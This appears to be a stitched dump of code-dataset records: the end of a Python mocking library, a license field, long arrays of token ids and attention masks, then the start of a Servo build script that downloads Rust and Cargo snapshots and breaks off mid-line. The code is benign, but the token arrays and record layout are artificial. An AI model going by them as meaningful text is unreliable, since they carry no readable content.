def __init__(self, name, parent):
self.name = name
self.parent = parent
def __call__(self, *args, **kwargs):
m = self.create_mock()
return m(*args, **kwargs)
def create_mock(self):
entry = self.name
parent = self.parent
m = parent._get_child_mock(name=entry, _new_name=entry,
_new_parent=parent)
setattr(parent, entry, m)
_set_return_value(parent, m, entry)
return m
def __get__(self, obj, _type=None):
return self.create_mock()
class _ANY(object):
"A helper object that compares equal to everything."
def __eq__(self, other):
return True
def __ne__(self, other):
return False
def __repr__(self):
return '<ANY>'
ANY = _ANY()
def _format_call_signature(name, args, kwargs):
message = '%s(%%s)' % name
formatted_args = ''
args_string = ', '.join([repr(arg) for arg in args])
kwargs_string = ', '.join([
'%s=%r' % (key, value) for key, value in kwargs.items()
])
if args_string:
formatted_args = args_string
if kwargs_string:
if formatted_args:
formatted_args += ', '
formatted_args += kwargs_string
return message % formatted_args
class _Call(tuple):
"""
A tuple for holding the results of a call to a mock, either in the form
`(args, kwargs)` or `(name, args, kwargs)`.
If args or kwargs are empty then a call tuple will compare equal to
a tuple without those values. This makes comparisons less verbose::
_Call(('name', (), {})) == ('name',)
_Call(('name', (1,), {})) == ('name', (1,))
_Call(((), {'a': 'b'})) == ({'a': 'b'},)
The `_Call` object provides a useful shortcut for comparing with call::
_Call(((1, 2), {'a': 3})) == call(1, 2, a=3)
_Call(('foo', (1, 2), {'a': 3})) == call.foo(1, 2, a=3)
If the _Call has no name then it will match any name.
"""
def __new__(cls, value=(), name=None, parent=None, two=False,
from_kall=True):
name = ''
args = ()
kwargs = {}
_len = len(value)
if _len == 3:
name, args, kwargs = value
elif _len == 2:
first, second = value
if isinstance(first, str):
name = first
if isinstance(second, tuple):
args = second
else:
kwargs = second
else:
args, kwargs = first, second
elif _len == 1:
value, = value
if isinstance(value, str):
name = value
elif isinstance(value, tuple):
args = value
else:
kwargs = value
if two:
return tuple.__new__(cls, (args, kwargs))
return tuple.__new__(cls, (name, args, kwargs))
def __init__(self, value=(), name=None, parent=None, two=False,
from_kall=True):
self.name = name
self.parent = parent
self.from_kall = from_kall
def __eq__(self, other):
if other is ANY:
return True
try:
len_other = len(other)
except TypeError:
return False
self_name = ''
if len(self) == 2:
self_args, self_kwargs = self
else:
self_name, self_args, self_kwargs = self
other_name = ''
if len_other == 0:
other_args, other_kwargs = (), {}
elif len_other == 3:
other_name, other_args, other_kwargs = other
elif len_other == 1:
value, = other
if isinstance(value, tuple):
other_args = value
other_kwargs = {}
elif isinstance(value, str):
other_name = value
other_args, other_kwargs = (), {}
else:
other_args = ()
other_kwargs = value
else:
# len 2
# could be (name, args) or (name, kwargs) or (args, kwargs)
first, second = other
if isinstance(first, str):
other_name = first
if isinstance(second, tuple):
other_args, other_kwargs = second, {}
else:
other_args, other_kwargs = (), second
else:
other_args, other_kwargs = first, second
if self_name and other_name != self_name:
return False
# this order is important for ANY to work!
return (other_args, other_kwargs) == (self_args, self_kwargs)
def __ne__(self, other):
return not self.__eq__(other)
def __call__(self, *args, **kwargs):
if self.name is None:
return _Call(('', args, kwargs), name='()')
name = self.name + '()'
return _Call((self.name, args, kwargs), name=name, parent=self)
def __getattr__(self, attr):
if self.name is None:
return _Call(name=attr, from_kall=False)
name = '%s.%s' % (self.name, attr)
return _Call(name=name, parent=self, from_kall=False)
def __repr__(self):
if not self.from_kall:
name = self.name or 'call'
if name.startswith('()'):
name = 'call%s' % name
return name
if len(self) == 2:
name = 'call'
args, kwargs = self
else:
name, args, kwargs = self
if not name:
name = 'call'
elif not name.startswith('()'):
name = 'call.%s' % name
else:
name = 'call%s' % name
return _format_call_signature(name, args, kwargs)
def call_list(self):
"""For a call object that represents multiple calls, `call_list`
returns a list of all the intermediate calls as well as the
final call."""
vals = []
thing = self
while thing is not None:
if thing.from_kall:
vals.append(thing)
thing = thing.parent
return _CallList(reversed(vals))
call = _Call(from_kall=False)
def create_autospec(spec, spec_set=False, instance=False, _parent=None,
_name=None, **kwargs):
"""Create a mock object using another object as a spec. Attributes on the
mock will use the corresponding attribute on the `spec` object as their
spec.
Functions or methods being mocked will have their arguments checked
to check that they are called with the correct signature.
If `spec_set` is True then attempting to set attributes that don't exist
on the spec object will raise an `AttributeError`.
If a class is used as a spec then the return value of the mock (the
instance of the class) will have the same spec. You can use a class as the
spec for an instance object by passing `instance=True`. The returned mock
will only be callable if instances of the mock are callable.
`create_autospec` also takes arbitrary keyword arguments that are passed to
the constructor of the created mock."""
if _is_list(spec):
# can't pass a list instance to the mock constructor as it will be
# interpreted as a list of strings
spec = type(spec)
is_type = isinstance(spec, type)
_kwargs = {'spec': spec}
if spec_set:
_kwargs = {'spec_set': spec}
elif spec is None:
# None we mock with a normal mock without a spec
_kwargs = {}
_kwargs.update(kwargs)
Klass = MagicMock
if type(spec) in DescriptorTypes:
# descriptors don't have a spec
# because we don't know what type they return
_kwargs = {}
elif not _callable(spec):
Klass = NonCallableMagicMock
elif is_type and instance and not _instance_callable(spec):
Klass = NonCallableMagicMock
_new_name = _name
if _parent is None:
# for a top level object no _new_name should be set
_new_name = ''
mock = Klass(parent=_parent, _new_parent=_parent, _new_name=_new_name,
name=_name, **_kwargs)
if isinstance(spec, FunctionTypes):
# should only happen at the top level because we don't
# recurse for functions
mock = _set_signature(mock, spec)
else:
_check_signature(spec, mock, is_type, instance)
if _parent is not None and not instance:
_parent._mock_children[_name] = mock
if is_type and not instance and 'return_value' not in kwargs:
mock.return_value = create_autospec(spec, spec_set, instance=True,
_name='()', _parent=mock)
for entry in dir(spec):
if _is_magic(entry):
# MagicMock already does the useful magic methods for us
continue
# XXXX do we need a better way of getting attributes without
# triggering code execution (?) Probably not - we need the actual
# object to mock it so we would rather trigger a property than mock
# the property descriptor. Likewise we want to mock out dynamically
# provided attributes.
# XXXX what about attributes that raise exceptions other than
# AttributeError on being fetched?
# we could be resilient against it, or catch and propagate the
# exception when the attribute is fetched from the mock
try:
original = getattr(spec, entry)
except AttributeError:
continue
kwargs = {'spec': original}
if spec_set:
kwargs = {'spec_set': original}
if not isinstance(original, FunctionTypes):
new = _SpecState(original, spec_set, mock, entry, instance)
mock._mock_children[entry] = new
else:
parent = mock
if isinstance(spec, FunctionTypes):
parent = mock.mock
new = MagicMock(parent=parent, name=entry, _new_name=entry,
_new_parent=parent, **kwargs)
mock._mock_children[entry] = new
skipfirst = _must_skip(spec, entry, is_type)
_check_signature(original, new, skipfirst=skipfirst)
# so functions created with _set_signature become instance attributes,
# *plus* their underlying mock exists in _mock_children of the parent
# mock. Adding to _mock_children may be unnecessary where we are also
# setting as an instance attribute?
if isinstance(new, FunctionTypes):
setattr(mock, entry, new)
return mock
def _must_skip(spec, entry, is_type):
if not isinstance(spec, type):
if entry in getattr(spec, '__dict__', {}):
# instance attribute - shouldn't skip
return False
spec = spec.__class__
for klass in spec.__mro__:
result = klass.__dict__.get(entry, DEFAULT)
if result is DEFAULT:
continue
if isinstance(result, (staticmethod, classmethod)):
return False
return is_type
# shouldn't get here unless function is a dynamically provided attribute
# XXXX untested behaviour
return is_type
def _get_class(obj):
try:
return obj.__class__
except AttributeError:
# it is possible for objects to have no __class__
return type(obj)
class _SpecState(object):
def __init__(self, spec, spec_set=False, parent=None,
name=None, ids=None, instance=False):
self.spec = spec
self.ids = ids
self.spec_set = spec_set
self.parent = parent
self.instance = instance
self.name = name
FunctionTypes = (
# python function
type(create_autospec),
# instance method
type(ANY.__eq__),
)
file_spec = None
def mock_open(mock=None, read_data=''):
"""
A helper function to create a mock to replace the use of `open`. It works
for `open` called directly or used as a context manager.
The `mock` argument is the mock object to configure. If `None` (the
default) then a `MagicMock` will be created for you, with the API limited
to methods or attributes available on standard file handles.
`read_data` is a string for the `read` method of the file handle to return.
This is an empty string by default.
"""
global file_spec
if file_spec is None:
import _io
file_spec = list(set(dir(_io.TextIOWrapper)).union(set(dir(_io.BytesIO))))
if mock is None:
mock = MagicMock(name='open', spec=open)
handle = MagicMock(spec=file_spec)
handle.write.return_value = None
handle.__enter__.return_value = handle
handle.read.return_value = read_data
mock.return_value = handle
return mock
class PropertyMock(Mock):
"""
A mock intended to be used as a property, or other descriptor, on a class.
`PropertyMock` provides `__get__` and `__set__` methods so you can specify
a return value when it is fetched.
Fetching a `PropertyMock` instance from an object calls the mock, with
no args. Setting it calls the mock with the value being set.
"""
def _get_child_mock(self, **kwargs):
return MagicMock(**kwargs)
def __get__(self, obj, obj_type):
return self()
def __set__(self, obj, val):
self(val)
|
gpl-3.0
|
[
3,
1683,
14,
647,
199,
3,
1379,
7249,
367,
1683,
316,
436,
3371,
316,
14,
199,
3,
16593,
8368,
379,
701,
16922,
481,
79,
2181,
199,
3,
10257,
719,
367,
1163,
5459,
402,
2018,
2808,
687,
199,
3,
1455,
921,
17343,
14,
1548,
14,
1308,
15,
17343,
15,
1805,
199,
199,
363,
452,
363,
275,
334,
272,
283,
3346,
297,
272,
283,
11988,
297,
272,
283,
2068,
297,
272,
283,
13400,
297,
272,
283,
3472,
297,
272,
283,
8974,
297,
272,
283,
1250,
297,
272,
283,
981,
63,
22303,
297,
272,
283,
9905,
63,
3022,
297,
272,
283,
6932,
16410,
3346,
297,
272,
283,
6932,
16410,
11988,
297,
272,
283,
1805,
63,
1490,
297,
272,
283,
3697,
3346,
297,
199,
9,
421,
199,
363,
1023,
363,
275,
283,
17,
14,
16,
7,
421,
199,
646,
6485,
199,
646,
10933,
199,
646,
984,
199,
504,
9143,
492,
14018,
421,
199,
1563,
16836,
275,
334,
29900,
4258,
199,
692,
283,
6138,
7,
315,
984,
14,
3246,
26,
272,
327,
1335,
11361,
272,
492,
12120,
272,
3523,
16836,
275,
334,
29900,
12,
12120,
14,
4159,
14,
2719,
1143,
461,
9,
421,
199,
9905,
63,
3022,
275,
715,
199,
199,
3,
9361,
11659,
367,
4976,
327,
713,
13812,
199,
3,
23952,
642,
12,
314,
636,
533,
363,
4382,
3955,
78,
1133,
506,
663,
6657,
199,
63,
3489,
63,
4792,
275,
1613,
199,
199,
318,
485,
374,
63,
842,
63,
1805,
8,
1113,
304,
272,
327,
883,
1133,
675,
1228,
641,
4420,
2251,
2952,
2985,
4278,
636,
533,
363,
272,
327,
710,
1300,
1021,
367,
1006,
26500,
365,
10172,
16410,
3346,
272,
372,
11602,
8,
466,
8,
1113,
395,
10172,
16410,
3346,
9,
421,
199,
318,
485,
374,
63,
1971,
8,
1113,
304,
272,
372,
334,
267,
1228,
8,
1113,
12,
3523,
16836,
9,
503,
267,
1228,
8,
1113,
12,
730,
9,
436,
11602,
8,
1113,
12,
3523,
16836,
9,
272,
776,
421,
199,
533,
485,
7998,
471,
8,
785,
304,
272,
636,
7257,
363,
275,
788,
65,
418,
421,
199,
4311,
4100,
275,
334,
272,
730,
1547,
7998,
471,
14,
65,
395,
272,
3324,
12,
199,
9,
421,
199,
318,
485,
362,
5233,
8,
1532,
12,
3372,
2246,
12,
1256,
29,
797,
304,
272,
340,
1228,
8,
1532,
12,
730,
9,
436,
440,
1256,
26,
267,
862,
26,
288,
2562,
275,
2562,
855,
826,
363,
267,
871,
4281,
26,
288,
372,
267,
3372,
2246,
275,
715,
272,
916,
440,
1228,
8,
1532,
12,
6801,
4100,
304,
267,
327,
367,
3992,
2382,
1256,
365,
715,
781,
1284,
1536,
2348,
4634,
267,
862,
26,
288,
2562,
275,
2562,
855,
1250,
363,
267,
871,
4281,
26,
288,
372,
339,
862,
26,
267,
26632,
275,
6485,
14,
362,
2861,
15644,
8,
1532,
9,
272,
871,
3146,
26,
267,
327,
445,
805,
1182,
1083,
12,
12570,
12623,
909,
11027,
826,
363,
267,
372,
339,
1295,
589,
12,
23377,
12,
27835,
12,
4243,
12,
32635,
12,
32635,
318,
12,
21172,
275,
26632,
2378,
327,
1256,
3102,
436,
1021,
2474,
1929,
370,
27332,
314,
291,
1423,
272,
340,
2519,
8,
1532,
12,
2560,
277,
7500,
488,
9,
365,
440,
488,
26,
267,
1295,
589,
275,
1295,
589,
59,
17,
2938,
272,
340,
3372,
2246,
26,
267,
327,
642,
5558,
436,
314,
3432,
1373,
787,
7078,
3865,
715,
446,
10842,
31,
267,
1295,
589,
275,
1295,
589,
59,
17,
2938,
339,
4955,
275,
6485,
14,
908,
15644,
8,
267,
1295,
589,
12,
23377,
12,
27835,
12,
4243,
12,
267,
32635,
12,
32635,
318,
12,
21172,
12,
1475,
585,
29,
2734,
574,
26,
6899,
272,
372,
4955,
59,
17,
6809,
17,
467,
2562,
421,
199,
318,
485,
1074,
63,
5233,
8,
1532,
12,
1683,
12,
3372,
2246,
12,
1256,
29,
797,
304,
272,
340,
440,
485,
8296,
8,
1532,
304,
267,
372,
339,
754,
275,
485,
362,
5233,
8,
1532,
12,
3372,
2246,
12,
1256,
9,
272,
340,
754,
365,
488,
26,
267,
372,
272,
4955,
12,
2562,
275,
754,
339,
327,
883,
1133,
675,
291,
2952,
298,
277,
2,
365,
2863,
465,
376,
1423,
536,
272,
327,
625,
21839,
2755,
440,
315,
314,
1642,
4192,
272,
2928,
275,
298,
2734,
485,
1805,
63,
277,
12,
450,
83,
26,
488,
2,
450,
4955,
272,
1104,
4093,
275,
3468,
8,
2164,
12,
5009,
272,
485,
1574,
63,
1532,
63,
5087,
8,
1532,
12,
1104,
4093,
9,
272,
730,
8,
1805,
10445,
1805,
63,
1074,
63,
4093,
275,
1104,
4093,
421,
199,
318,
485,
1574,
63,
1532,
63,
5087,
8,
1532,
12,
9627,
1574,
304,
272,
9627,
1574,
855,
354,
363,
275,
2562,
855,
354,
363,
272,
9627,
1574,
855,
1301,
363,
275,
2562,
855,
1301,
363,
272,
327,
781,
7662,
2793,
1133,
1331,
2562,
855,
807,
363,
1901,
642,
1331,
465,
652,
3955,
272,
327,
23705,
3379,
3004,
626,
1077,
506,
16991,
272,
9627,
1574,
855,
578,
363,
275,
2562,
855,
578,
363,
272,
9627,
1574,
855,
4322,
363,
275,
2562,
855,
4322,
363,
272,
9627,
1574,
855,
829,
4322,
363,
275,
2562,
855,
829,
4322,
363,
421,
199,
318,
485,
8296,
8,
1113,
304,
272,
340,
1228,
8,
1113,
12,
730,
304,
267,
372,
715,
272,
340,
2519,
8,
1113,
12,
2560,
1250,
7500,
488,
9,
365,
440,
488,
26,
267,
372,
715,
272,
372,
756,
421,
199,
318,
485,
374,
63,
513,
8,
1113,
304,
272,
327,
5920,
367,
769,
503,
6346,
272,
327,
5787,
56,
4875,
590,
4310,
1,
272,
372,
730,
8,
1113,
9,
315,
334,
513,
12,
2008,
9,
421,
199,
318,
485,
842,
63,
8296,
8,
1113,
304,
272,
408,
13735,
376,
909,
12,
372,
715,
340,
314,
909,
365,
4550,
14,
272,
2104,
3992,
12,
372,
715,
340,
4454,
3955,
506,
4550,
1041,
272,
340,
440,
1228,
8,
1113,
12,
730,
304,
267,
327,
2575,
376,
1256,
267,
372,
2519,
8,
1113,
12,
2560,
1250,
7500,
488,
9,
365,
440,
488,
339,
327,
627,
15153,
10,
506,
10529,
701,
282,
1021,
18972,
636,
17335,
363,
503,
636,
807,
363,
4799,
272,
327,
282,
17074,
272,
367,
1300,
315,
334,
1113,
4258,
435,
1559,
855,
17335,
10651,
267,
340,
1300,
855,
807,
4343,
362,
10714,
1250,
13766,
365,
440,
488,
26,
288
] |
[
1683,
14,
647,
199,
3,
1379,
7249,
367,
1683,
316,
436,
3371,
316,
14,
199,
3,
16593,
8368,
379,
701,
16922,
481,
79,
2181,
199,
3,
10257,
719,
367,
1163,
5459,
402,
2018,
2808,
687,
199,
3,
1455,
921,
17343,
14,
1548,
14,
1308,
15,
17343,
15,
1805,
199,
199,
363,
452,
363,
275,
334,
272,
283,
3346,
297,
272,
283,
11988,
297,
272,
283,
2068,
297,
272,
283,
13400,
297,
272,
283,
3472,
297,
272,
283,
8974,
297,
272,
283,
1250,
297,
272,
283,
981,
63,
22303,
297,
272,
283,
9905,
63,
3022,
297,
272,
283,
6932,
16410,
3346,
297,
272,
283,
6932,
16410,
11988,
297,
272,
283,
1805,
63,
1490,
297,
272,
283,
3697,
3346,
297,
199,
9,
421,
199,
363,
1023,
363,
275,
283,
17,
14,
16,
7,
421,
199,
646,
6485,
199,
646,
10933,
199,
646,
984,
199,
504,
9143,
492,
14018,
421,
199,
1563,
16836,
275,
334,
29900,
4258,
199,
692,
283,
6138,
7,
315,
984,
14,
3246,
26,
272,
327,
1335,
11361,
272,
492,
12120,
272,
3523,
16836,
275,
334,
29900,
12,
12120,
14,
4159,
14,
2719,
1143,
461,
9,
421,
199,
9905,
63,
3022,
275,
715,
199,
199,
3,
9361,
11659,
367,
4976,
327,
713,
13812,
199,
3,
23952,
642,
12,
314,
636,
533,
363,
4382,
3955,
78,
1133,
506,
663,
6657,
199,
63,
3489,
63,
4792,
275,
1613,
199,
199,
318,
485,
374,
63,
842,
63,
1805,
8,
1113,
304,
272,
327,
883,
1133,
675,
1228,
641,
4420,
2251,
2952,
2985,
4278,
636,
533,
363,
272,
327,
710,
1300,
1021,
367,
1006,
26500,
365,
10172,
16410,
3346,
272,
372,
11602,
8,
466,
8,
1113,
395,
10172,
16410,
3346,
9,
421,
199,
318,
485,
374,
63,
1971,
8,
1113,
304,
272,
372,
334,
267,
1228,
8,
1113,
12,
3523,
16836,
9,
503,
267,
1228,
8,
1113,
12,
730,
9,
436,
11602,
8,
1113,
12,
3523,
16836,
9,
272,
776,
421,
199,
533,
485,
7998,
471,
8,
785,
304,
272,
636,
7257,
363,
275,
788,
65,
418,
421,
199,
4311,
4100,
275,
334,
272,
730,
1547,
7998,
471,
14,
65,
395,
272,
3324,
12,
199,
9,
421,
199,
318,
485,
362,
5233,
8,
1532,
12,
3372,
2246,
12,
1256,
29,
797,
304,
272,
340,
1228,
8,
1532,
12,
730,
9,
436,
440,
1256,
26,
267,
862,
26,
288,
2562,
275,
2562,
855,
826,
363,
267,
871,
4281,
26,
288,
372,
267,
3372,
2246,
275,
715,
272,
916,
440,
1228,
8,
1532,
12,
6801,
4100,
304,
267,
327,
367,
3992,
2382,
1256,
365,
715,
781,
1284,
1536,
2348,
4634,
267,
862,
26,
288,
2562,
275,
2562,
855,
1250,
363,
267,
871,
4281,
26,
288,
372,
339,
862,
26,
267,
26632,
275,
6485,
14,
362,
2861,
15644,
8,
1532,
9,
272,
871,
3146,
26,
267,
327,
445,
805,
1182,
1083,
12,
12570,
12623,
909,
11027,
826,
363,
267,
372,
339,
1295,
589,
12,
23377,
12,
27835,
12,
4243,
12,
32635,
12,
32635,
318,
12,
21172,
275,
26632,
2378,
327,
1256,
3102,
436,
1021,
2474,
1929,
370,
27332,
314,
291,
1423,
272,
340,
2519,
8,
1532,
12,
2560,
277,
7500,
488,
9,
365,
440,
488,
26,
267,
1295,
589,
275,
1295,
589,
59,
17,
2938,
272,
340,
3372,
2246,
26,
267,
327,
642,
5558,
436,
314,
3432,
1373,
787,
7078,
3865,
715,
446,
10842,
31,
267,
1295,
589,
275,
1295,
589,
59,
17,
2938,
339,
4955,
275,
6485,
14,
908,
15644,
8,
267,
1295,
589,
12,
23377,
12,
27835,
12,
4243,
12,
267,
32635,
12,
32635,
318,
12,
21172,
12,
1475,
585,
29,
2734,
574,
26,
6899,
272,
372,
4955,
59,
17,
6809,
17,
467,
2562,
421,
199,
318,
485,
1074,
63,
5233,
8,
1532,
12,
1683,
12,
3372,
2246,
12,
1256,
29,
797,
304,
272,
340,
440,
485,
8296,
8,
1532,
304,
267,
372,
339,
754,
275,
485,
362,
5233,
8,
1532,
12,
3372,
2246,
12,
1256,
9,
272,
340,
754,
365,
488,
26,
267,
372,
272,
4955,
12,
2562,
275,
754,
339,
327,
883,
1133,
675,
291,
2952,
298,
277,
2,
365,
2863,
465,
376,
1423,
536,
272,
327,
625,
21839,
2755,
440,
315,
314,
1642,
4192,
272,
2928,
275,
298,
2734,
485,
1805,
63,
277,
12,
450,
83,
26,
488,
2,
450,
4955,
272,
1104,
4093,
275,
3468,
8,
2164,
12,
5009,
272,
485,
1574,
63,
1532,
63,
5087,
8,
1532,
12,
1104,
4093,
9,
272,
730,
8,
1805,
10445,
1805,
63,
1074,
63,
4093,
275,
1104,
4093,
421,
199,
318,
485,
1574,
63,
1532,
63,
5087,
8,
1532,
12,
9627,
1574,
304,
272,
9627,
1574,
855,
354,
363,
275,
2562,
855,
354,
363,
272,
9627,
1574,
855,
1301,
363,
275,
2562,
855,
1301,
363,
272,
327,
781,
7662,
2793,
1133,
1331,
2562,
855,
807,
363,
1901,
642,
1331,
465,
652,
3955,
272,
327,
23705,
3379,
3004,
626,
1077,
506,
16991,
272,
9627,
1574,
855,
578,
363,
275,
2562,
855,
578,
363,
272,
9627,
1574,
855,
4322,
363,
275,
2562,
855,
4322,
363,
272,
9627,
1574,
855,
829,
4322,
363,
275,
2562,
855,
829,
4322,
363,
421,
199,
318,
485,
8296,
8,
1113,
304,
272,
340,
1228,
8,
1113,
12,
730,
304,
267,
372,
715,
272,
340,
2519,
8,
1113,
12,
2560,
1250,
7500,
488,
9,
365,
440,
488,
26,
267,
372,
715,
272,
372,
756,
421,
199,
318,
485,
374,
63,
513,
8,
1113,
304,
272,
327,
5920,
367,
769,
503,
6346,
272,
327,
5787,
56,
4875,
590,
4310,
1,
272,
372,
730,
8,
1113,
9,
315,
334,
513,
12,
2008,
9,
421,
199,
318,
485,
842,
63,
8296,
8,
1113,
304,
272,
408,
13735,
376,
909,
12,
372,
715,
340,
314,
909,
365,
4550,
14,
272,
2104,
3992,
12,
372,
715,
340,
4454,
3955,
506,
4550,
1041,
272,
340,
440,
1228,
8,
1113,
12,
730,
304,
267,
327,
2575,
376,
1256,
267,
372,
2519,
8,
1113,
12,
2560,
1250,
7500,
488,
9,
365,
440,
488,
339,
327,
627,
15153,
10,
506,
10529,
701,
282,
1021,
18972,
636,
17335,
363,
503,
636,
807,
363,
4799,
272,
327,
282,
17074,
272,
367,
1300,
315,
334,
1113,
4258,
435,
1559,
855,
17335,
10651,
267,
340,
1300,
855,
807,
4343,
362,
10714,
1250,
13766,
365,
440,
488,
26,
288,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
bholley/servo
|
python/servo/bootstrap_commands.py
|
48
|
11721
|
# Copyright 2013 The Servo Project Developers. See the COPYRIGHT
# file at the top-level directory of this distribution.
#
# Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
# http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
# <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your
# option. This file may not be copied, modified, or distributed
# except according to those terms.
from __future__ import print_function, unicode_literals
import base64
import json
import os
import os.path as path
import re
import shutil
import subprocess
import sys
import StringIO
import tarfile
import urllib2
from distutils.version import LooseVersion
from mach.decorators import (
CommandArgument,
CommandProvider,
Command,
)
from servo.command_base import CommandBase, cd, host_triple
def download(desc, src, writer):
print("Downloading %s..." % desc)
dumb = (os.environ.get("TERM") == "dumb") or (not sys.stdout.isatty())
try:
resp = urllib2.urlopen(src)
fsize = None
if resp.info().getheader('Content-Length'):
fsize = int(resp.info().getheader('Content-Length').strip())
recved = 0
chunk_size = 8192
while True:
chunk = resp.read(chunk_size)
if not chunk:
break
recved += len(chunk)
if not dumb:
if fsize is not None:
pct = recved * 100.0 / fsize
print("\rDownloading %s: %5.1f%%" % (desc, pct), end="")
sys.stdout.flush()
writer.write(chunk)
if not dumb:
print()
except urllib2.HTTPError, e:
print("Download failed (%d): %s - %s" % (e.code, e.reason, src))
cpu_type = subprocess.check_output(["uname", "-m"]).strip().lower()
if e.code == 404 and cpu_type in ["i386", "i486", "i686", "i768", "x86"]:
# i686
print("Note: Servo does not currently bootstrap 32bit snapshots of Rust")
print("See https://github.com/servo/servo/issues/3899")
sys.exit(1)
def download_file(desc, src, dst):
with open(dst, 'wb') as fd:
download(desc, src, fd)
def download_bytes(desc, src):
content_writer = StringIO.StringIO()
download(desc, src, content_writer)
return content_writer.getvalue()
def extract(src, dst, movedir=None):
tarfile.open(src).extractall(dst)
if movedir:
for f in os.listdir(movedir):
frm = path.join(movedir, f)
to = path.join(dst, f)
os.rename(frm, to)
os.rmdir(movedir)
os.remove(src)
@CommandProvider
class MachCommands(CommandBase):
@Command('env',
description='Print environment setup commands',
category='bootstrap')
def env(self):
env = self.build_env()
print("export PATH=%s" % env["PATH"])
if sys.platform == "darwin":
print("export DYLD_LIBRARY_PATH=%s" % env["DYLD_LIBRARY_PATH"])
else:
print("export LD_LIBRARY_PATH=%s" % env["LD_LIBRARY_PATH"])
@Command('bootstrap-rust',
description='Download the Rust compiler snapshot',
category='bootstrap')
@CommandArgument('--force', '-f',
action='store_true',
help='Force download even if a snapshot already exists')
def bootstrap_rustc(self, force=False):
rust_dir = path.join(
self.context.sharedir, "rust", *self.rust_snapshot_path().split("/"))
if not force and path.exists(path.join(rust_dir, "rustc", "bin", "rustc")):
print("Snapshot Rust compiler already downloaded.", end=" ")
print("Use |bootstrap-rust --force| to download again.")
return
if path.isdir(rust_dir):
shutil.rmtree(rust_dir)
os.makedirs(rust_dir)
snapshot_url = ("https://servo-rust.s3.amazonaws.com/%s.tar.gz"
% self.rust_snapshot_path())
tgz_file = rust_dir + '.tar.gz'
download_file("Rust snapshot", snapshot_url, tgz_file)
print("Extracting Rust snapshot...")
snap_dir = path.join(rust_dir,
path.basename(tgz_file).replace(".tar.gz", ""))
extract(tgz_file, rust_dir, movedir=snap_dir)
print("Snapshot Rust ready.")
@Command('bootstrap-rust-docs',
description='Download the Rust documentation',
category='bootstrap')
@CommandArgument('--force', '-f',
action='store_true',
help='Force download even if docs already exist')
def bootstrap_rustc_docs(self, force=False):
self.ensure_bootstrapped()
hash_dir = path.join(self.context.sharedir, "rust",
self.rust_snapshot_path().split("/")[0])
docs_dir = path.join(hash_dir, self.rust_snapshot_path().split("/")[1], "doc")
if not force and path.exists(docs_dir):
print("Snapshot Rust docs already downloaded.", end=" ")
print("Use |bootstrap-rust-docs --force| to download again.")
return
if path.isdir(docs_dir):
shutil.rmtree(docs_dir)
docs_name = self.rust_snapshot_path().replace("rustc-", "rust-docs-")
snapshot_url = ("https://servo-rust.s3.amazonaws.com/%s.tar.gz"
% docs_name)
tgz_file = path.join(hash_dir, 'doc.tar.gz')
download_file("Rust docs", snapshot_url, tgz_file)
print("Extracting Rust docs...")
temp_dir = path.join(hash_dir, "temp_docs")
if path.isdir(temp_dir):
shutil.rmtree(temp_dir)
extract(tgz_file, temp_dir)
shutil.move(path.join(temp_dir, docs_name.split("/")[1],
"rust-docs", "share", "doc", "rust", "html"),
docs_dir)
shutil.rmtree(temp_dir)
print("Rust docs ready.")
@Command('bootstrap-cargo',
description='Download the Cargo build tool',
category='bootstrap')
@CommandArgument('--force', '-f',
action='store_true',
help='Force download even if cargo already exists')
def bootstrap_cargo(self, force=False):
cargo_dir = path.join(self.context.sharedir, "cargo",
self.cargo_build_id())
if not force and path.exists(path.join(cargo_dir, "bin", "cargo")):
print("Cargo already downloaded.", end=" ")
print("Use |bootstrap-cargo --force| to download again.")
return
if path.isdir(cargo_dir):
shutil.rmtree(cargo_dir)
os.makedirs(cargo_dir)
tgz_file = "cargo-nightly-%s.tar.gz" % host_triple()
nightly_url = "https://static-rust-lang-org.s3.amazonaws.com/cargo-dist/%s/%s" % \
(self.cargo_build_id(), tgz_file)
download_file("Cargo nightly", nightly_url, tgz_file)
print("Extracting Cargo nightly...")
nightly_dir = path.join(cargo_dir,
path.basename(tgz_file).replace(".tar.gz", ""))
extract(tgz_file, cargo_dir, movedir=nightly_dir)
print("Cargo ready.")
@Command('update-hsts-preload',
description='Download the HSTS preload list',
category='bootstrap')
def bootstrap_hsts_preload(self, force=False):
preload_filename = "hsts_preload.json"
preload_path = path.join(self.context.topdir, "resources")
chromium_hsts_url = "https://chromium.googlesource.com/chromium/src" + \
